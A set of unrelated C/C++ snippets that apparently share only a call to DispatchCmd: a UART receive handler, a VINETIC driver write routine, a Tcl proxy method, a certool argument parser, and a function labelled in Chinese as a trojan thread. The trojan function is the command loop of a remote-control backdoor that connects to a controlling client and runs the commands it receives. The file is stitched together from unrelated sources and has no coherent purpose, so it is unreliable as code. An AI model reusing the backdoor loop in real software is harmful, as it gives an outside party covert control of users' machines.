void UARTRecieve() { byte recv = RCREG1; if(recv == ENDCMD) { DispatchCmd(); curcmd = NOOP; return; } switch(curcmd) { case NOOP: curcmd = recv; buffer_counter = 0; arg_counter = 0; break; case READFRAME: buffer[buffer_counter++] = recv; break; case SETCONTROL: arg_buffer[arg_counter++] = recv; break; default: curcmd = NOOP; break; } }
/** Write VINETIC command \param pDev - pointer to the device interface \param pCmd - pointer to command data \return IFX_SUCCESS if no error, otherwise IFX_ERROR (return value of CmdWrite) */ IFX_int32_t VINETIC_Write_Cmd (VINETIC_DEVICE * pDev, VINETIC_IO_MB_CMD * pCmd) { IFX_int32_t ret; IFX_uint16_t *pData = (IFX_uint16_t *) pCmd; if ((pData[0] & CMD1_CMD) == CMD1_EOP && (pData[0] & CMD1_RD) != CMD1_RD) { IFXOS_MutexLock (pDev->memberAcc); DispatchCmd (pDev, pData); } ret = CmdWrite (pDev, pData, (pCmd->cmd2 & CMD2_LEN)); if ((pData[0] & CMD1_CMD) == CMD1_EOP) { IFXOS_MutexUnlock (pDev->memberAcc); } return ret; }
////////////////////////////////////////////////////////////////////////// //木马线程 ////////////////////////////////////////////////////////////////////////// void TrojanThread(void) { //连接客户端 SOCKET sockfd = ConnClient(); while (TRUE) { //接收一个包 BOOL flag = RecvCmd(sockfd); if (flag) { flag = DispatchCmd(sockfd,dwRecvSize); dwRecvSize = 0; } if (!flag) { SocketError(sockfd); } } }
int RtclProxyBase::TclObjectCmd(Tcl_Interp* interp, int objc, Tcl_Obj* const objv[]) { RtclArgs args(interp, objc, objv, 2); return DispatchCmd(args); }
DWORD ParseArgs(int argc, char* argv[]) // This function parses arguments given to the client application // // argc : The number of arguments // argv : The array pointing to the arguments { try { po::options_description certtoolArgs(""); po::options_description desc("certool general command options"); po::options_description config("configuration file format ( for example see : certool.cfg )"); po::options_description init("CA server initialization functions"); po::options_description functions("14 managment functions"); po::options_description files("certificate data files"); po::options_description params("additional params"); AddGeneralOptions(desc); AddConfigOptions(config); AddInitOptions(init); AddFunctionsOptions(functions); AddFilesOptions(files); AddParamOptions(params); certtoolArgs. add(desc). add(config). add(init). add(functions). add(files). add(params); po::store(po::parse_command_line(argc, argv, certtoolArgs), argsMap); po::notify(argsMap); if (argsMap.count("help") || argc == 1) { if (argHelpModule.compare("init") == 0) { std::cout << init << "\n"; return ERROR_SUCCESS; } if (argHelpModule.compare("functions") == 0) { std::cout << functions << "\n"; return ERROR_SUCCESS; } if (argHelpModule.compare("config") == 0) { std::cout << config << "\n"; return ERROR_SUCCESS; } if (argHelpModule.compare("files") == 0) { std::cout << files << "\n"; return ERROR_SUCCESS; } std::cout << desc << "\n"; return ERROR_SUCCESS; } return DispatchCmd(argsMap, config); } catch (std::bad_alloc& e) { std::cerr << "error - Allocation failed -" << e.what() << std::endl; return VMCA_OUT_MEMORY_ERR; } catch (std::exception& e) { std::cerr << "error: " << e.what() << "\n"; return VMCA_UNKNOW_ERROR; } catch(...) { std::cerr << "Exception of unknown type!\n"; return VMCA_UNKNOW_ERROR; } }